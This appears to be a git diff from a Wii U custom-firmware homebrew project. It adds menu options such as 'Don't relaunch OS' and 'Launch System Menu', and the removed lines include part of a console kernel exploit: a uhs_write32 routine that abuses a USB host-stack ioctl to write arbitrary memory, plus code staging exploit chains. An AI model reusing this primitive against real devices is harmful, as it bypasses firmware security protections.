((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - } - else - { - payloads->size = launch_image_tga_size; - memcpy(payloads->data, launch_image_tga, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - } - } - - pretend_root_hub[33] = 0x500000; - pretend_root_hub[78] = 0; - - DCStoreRange(pretend_root_hub + 33, 200); - DCStoreRange((void*)0xF4120000, sizeof(second_chain)); - DCStoreRange((void*)0xF4130000, sizeof(final_chain)); - DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); - DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000); -} - -static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) -{ - ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes - DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) - OSSleepTicks(0x200000); //! Improves stability - int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 - int output_buffer[32]; - return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); + + return returnCode; } diff --git a/src/menu.c b/src/menu.c index 927cfd9..50bb5e3 100644 --- a/src/menu.c +++ b/src/menu.c @@ -36,7 +36,8 @@ #include "dynamic_libs/socket_functions.h" #include "cfw_config.h" -#define MAX_CONFIG_SETTINGS 7 +#define MAX_CONFIG_SETTINGS_EXPERT 9 +#define MAX_CONFIG_SETTINGS_DEFAULT (MAX_CONFIG_SETTINGS_EXPERT - 3) #define TEXT_SEL(x, text1, text2) ((x) ? (text1) : (text2)) @@ -49,6 +50,8 @@ struct { { "Config view mode", "expert", "default" }, { "Skip this menu on launch", "on", "off" }, { "Show launch image", "on", "off" }, + { "Don't relaunch OS", "on", "off" }, + { "Launch System Menu", "on", "off" }, { "redNAND", "on", "off" }, { "SEEPROM redirection", "on", "off" }, { "OTP redirection", "on", "off" }, @@ -106,7 +109,7 @@ int ShowMenu(cfw_config_t * currentConfig) cfw_config_t config; memcpy(&config, currentConfig, sizeof(cfw_config_t)); - int max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS : 4; + int max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS_EXPERT : MAX_CONFIG_SETTINGS_DEFAULT; while(1) { @@ -147,7 +150,7 @@ int ShowMenu(cfw_config_t * currentConfig) { case 0: config.viewMode = !config.viewMode; - max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS : 4; + max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS_EXPERT : MAX_CONFIG_SETTINGS_DEFAULT; break; case 1: config.directLaunch = !config.directLaunch; @@ -156,15 +159,21 @@ int ShowMenu(cfw_config_t * currentConfig) config.launchImage = !config.launchImage; break; case 3: - config.redNAND = !config.redNAND; + config.noIosReload = !config.noIosReload; break; case 4: - config.seeprom_red = !config.seeprom_red; + config.launchSysMenu = !config.launchSysMenu; break; case 5: - config.otp_red = !config.otp_red; + config.redNAND = !config.redNAND; break; case 6: + config.seeprom_red = !config.seeprom_red; + break; + case 7: + config.otp_red = !config.otp_red; + break; + case 8: config.syshaxXml = !config.syshaxXml; break; default: @@ -181,6 +190,16 @@ int ShowMenu(cfw_config_t * currentConfig) config.otp_red = 1; } } + if(config.noIosReload) + { + config.launchImage = 0; + config.redNAND = 0; + } + else + { + config.launchSysMenu = 1; + } + if(config.redNAND == 0) { config.seeprom_red = 0; @@ -202,7 +221,7 @@ int ShowMenu(cfw_config_t * currentConfig) console_print_pos(x_offset, 4, "Press HOME to exit back to HBL."); console_print_pos(x_offset, 5, "Hold B on start to force enter this menu"); - int y_offset = 7; + int y_offset = 6; int option_count = sizeof(selection_options) / sizeof(selection_options[0]); int idx; int * configPtr = &config.viewMode;